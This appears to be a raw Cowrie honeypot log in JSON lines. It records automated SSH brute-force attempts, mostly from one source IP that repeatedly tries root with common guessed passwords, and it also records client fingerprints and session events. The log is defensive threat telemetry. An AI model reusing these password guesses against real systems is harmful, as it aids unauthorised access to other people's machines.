{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52082,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b9a20f38702","protocol":"ssh","message":"New connection: 60.165.124.241:52082 (10.17.0.5:22) [session: 4b9a20f38702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:59.496713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:18:59.505982Z","src_ip":"60.165.124.241","session":"4b9a20f38702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:01.282851Z","src_ip":"60.165.124.241","session":"4b9a20f38702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.208.181.202","src_port":19478,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2e655cd8ea0","protocol":"ssh","message":"New connection: 18.208.181.202:19478 (159.203.135.109:22) [session: b2e655cd8ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:02.482795Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wang123456","message":"login attempt [root/Wang123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:02.719349Z","src_ip":"60.165.124.241","session":"4b9a20f38702","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:04.162542Z","src_ip":"18.208.181.202","session":"b2e655cd8ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:04.166590Z","src_ip":"18.208.181.202","session":"b2e655cd8ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:05.855863Z","src_ip":"60.165.124.241","session":"4b9a20f38702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59586,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d0ae4a8423a","protocol":"ssh","message":"New connection: 60.165.124.241:59586 (10.17.0.5:22) [session: 9d0ae4a8423a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:07.145062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:07.150526Z","src_ip":"60.165.124.241","session":"9d0ae4a8423a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:07.423982Z","src_ip":"60.165.124.241","session":"9d0ae4a8423a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zz1234567","message":"login attempt [root/zz1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:08.249383Z","src_ip":"60.165.124.241","session":"9d0ae4a8423a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:09.509653Z","src_ip":"60.165.124.241","session":"9d0ae4a8423a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35654,"dst_ip":"10.17.0.5","dst_port":22,"session":"91c40c40b499","protocol":"ssh","message":"New connection: 60.165.124.241:35654 (10.17.0.5:22) [session: 91c40c40b499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:09.724675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:09.729158Z","src_ip":"60.165.124.241","session":"91c40c40b499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:09.966943Z","src_ip":"60.165.124.241","session":"91c40c40b499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456...","message":"login attempt [root/Aa123456...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:10.696815Z","src_ip":"60.165.124.241","session":"91c40c40b499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:10.847069Z","src_ip":"18.208.181.202","session":"b2e655cd8ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:11.937292Z","src_ip":"60.165.124.241","session":"91c40c40b499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38308,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea267ffbf747","protocol":"ssh","message":"New connection: 60.165.124.241:38308 (10.17.0.5:22) [session: ea267ffbf747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:12.168939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:12.174196Z","src_ip":"60.165.124.241","session":"ea267ffbf747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:12.411678Z","src_ip":"60.165.124.241","session":"ea267ffbf747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31337","message":"login attempt [root/31337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:13.129535Z","src_ip":"60.165.124.241","session":"ea267ffbf747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:14.368990Z","src_ip":"60.165.124.241","session":"ea267ffbf747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41182,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf03bae7c9a1","protocol":"ssh","message":"New connection: 60.165.124.241:41182 (10.17.0.5:22) [session: bf03bae7c9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:14.618857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:14.623991Z","src_ip":"60.165.124.241","session":"bf03bae7c9a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:14.870071Z","src_ip":"60.165.124.241","session":"bf03bae7c9a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"robin123","message":"login attempt [root/robin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:15.613036Z","src_ip":"60.165.124.241","session":"bf03bae7c9a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:16.868931Z","src_ip":"60.165.124.241","session":"bf03bae7c9a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44262,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cb1b5c5c041","protocol":"ssh","message":"New connection: 60.165.124.241:44262 (10.17.0.5:22) [session: 3cb1b5c5c041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:17.113599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:17.118233Z","src_ip":"60.165.124.241","session":"3cb1b5c5c041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:17.368415Z","src_ip":"60.165.124.241","session":"3cb1b5c5c041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"start#123","message":"login attempt [root/start#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:18.123084Z","src_ip":"60.165.124.241","session":"3cb1b5c5c041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:19.385788Z","src_ip":"60.165.124.241","session":"3cb1b5c5c041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47044,"dst_ip":"10.17.0.5","dst_port":22,"session":"df5022989dd3","protocol":"ssh","message":"New connection: 60.165.124.241:47044 (10.17.0.5:22) [session: df5022989dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:19.627601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:19.633190Z","src_ip":"60.165.124.241","session":"df5022989dd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:19.885677Z","src_ip":"60.165.124.241","session":"df5022989dd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhang123","message":"login attempt [root/zhang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:20.625077Z","src_ip":"60.165.124.241","session":"df5022989dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:21.876472Z","src_ip":"60.165.124.241","session":"df5022989dd3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","size":1774,"shasum":"8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","duplicate":true,"duration":"29.3","message":"Closing TTY Log: var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225 after 29.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:21.885092Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.999757528305054,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:19:21.898407Z","src_ip":"85.130.237.235","session":"1996db9edb3c","protocol":"telnet"}
